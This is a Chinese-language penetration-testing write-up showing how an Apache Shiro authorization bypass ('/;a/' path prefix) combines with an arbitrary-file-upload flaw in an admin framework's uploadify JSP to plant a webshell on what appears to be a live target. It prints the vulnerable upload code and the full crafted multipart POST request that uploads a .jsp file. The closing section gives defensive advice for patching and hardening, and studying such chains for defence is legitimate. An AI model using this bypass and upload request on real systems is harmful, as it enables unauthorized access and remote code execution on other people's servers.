shiro权限绕过实战利用
字数 1044 2025-08-20 18:17:59
Shiro权限绕过实战利用教学文档
0x01 Shiro反序列化命令执行初步检测
-
初始发现:
- 使用BurpSuite插件检测到Shiro框架存在
- 尝试使用ShiroExploit工具进行检测:
- DNSLog方式检测失败
- 静态文件回显方式检测失败
- Tomcat回显方式检测失败
-
环境特征:
- 目标站点为登录框界面
- 验证码功能无效
- 爆破尝试未成功
0x02 任意文件上传漏洞利用
漏洞发现
- 通过框架识别发现目标使用某admin框架
- 搜索公开漏洞发现存在文件上传漏洞:
- 漏洞文件路径:
plugins/uploadify/uploadFile.jsp - 该文件存在任意文件上传漏洞
- 漏洞文件路径:
漏洞文件分析
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.util.*, org.apache.commons.fileupload.*, java.util.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %>
<%!
public void upload(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
String savePath = this.getServletConfig().getServletContext().getRealPath("");
savePath = savePath + request.getParameter("uploadPath");
File f1 = new File(savePath);
if (!f1.exists()) {
f1.mkdirs();
}
DiskFileItemFactory fac = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(fac);
upload.setHeaderEncoding("utf-8");
List fileList = null;
try {
fileList = upload.parseRequest(request);
} catch (FileUploadException ex) {
return;
}
String fileNmae = request.getParameter("fileNmae");
Iterator<FileItem> it = fileList.iterator();
String name = "";
String extName = "";
while (it.hasNext()) {
FileItem item = it.next();
if (!item.isFormField()) {
name = item.getName();
long size = item.getSize();
String type = item.getContentType();
if (name == null || name.trim().equals("")) {
continue;
}
if (name.lastIndexOf(".") >= 0) {
extName = name.substring(name.lastIndexOf("."));
}
File file = null;
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
do {
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
name = new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new Date());
name = name + (int)(Math.random()*90000+10000);
file = new File(savePath + name + extName);
}
} while (file.exists());
}
File saveFile = new File(savePath + name + extName);
try {
item.write(saveFile);
} catch (Exception e) {
e.printStackTrace();
}
}
}
response.getWriter().print((name.trim() + extName.trim()).trim());
}
%>
<%
upload(request, response);
%>
Shiro权限绕过技术
-
直接访问限制:
- 直接访问
plugins/uploadify/uploadFile.jsp会302跳转(未登录)
- 直接访问
-
绕过方法:
- 使用Shiro权限绕过技术:
/;a/plugins/uploadify/uploadFile.jsp - 状态码变为200,绕过成功
- 使用Shiro权限绕过技术:
文件上传利用
-
初始尝试失败:
- 上传成功但找不到文件
- 原因:
request.getParameter("uploadPath")无法解析multipart里的参数
-
正确利用方式:
- 构造上传请求:
POST /;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQDeBiVqfe6p3FMnJ ------WebKitFormBoundaryQDeBiVqfe6p3FMnJ Content-Disposition: form-data; name="imgFile"; filename="2204249.jsp" Content-Type: image/jpeg test ------WebKitFormBoundaryQDeBiVqfe6p3FMnJ--- 成功上传WebShell
0x03 相关工具与资源
-
检测工具:
- BurpSuite插件:HaE (https://github.com/gh0stkey/HaE)
- MarkInfo插件 (https://github.com/gh0stkey/BurpSuite-Extender-MarkInfo)
-
参考文章:
- Shiro权限绕过技术分析:https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA
0x04 防御建议
-
Shiro配置:
- 更新至最新版本
- 检查并修复权限绕过漏洞
- 实现严格的URL访问控制
-
文件上传防护:
- 删除不必要的上传组件
- 实现文件类型白名单验证
- 限制上传目录的执行权限
- 对上传文件进行重命名
-
框架安全:
- 及时更新框架版本
- 关注安全公告和漏洞信息
- 禁用不必要的功能和组件
总结
本案例展示了如何结合Shiro权限绕过和文件上传漏洞实现系统入侵。关键在于:
- 识别Shiro框架并绕过其权限控制
- 利用已知框架漏洞定位可利用的文件上传组件
- 正确构造上传请求绕过防护机制
这种组合攻击方式在实际渗透测试中较为常见,防御方需要从多个层面进行防护。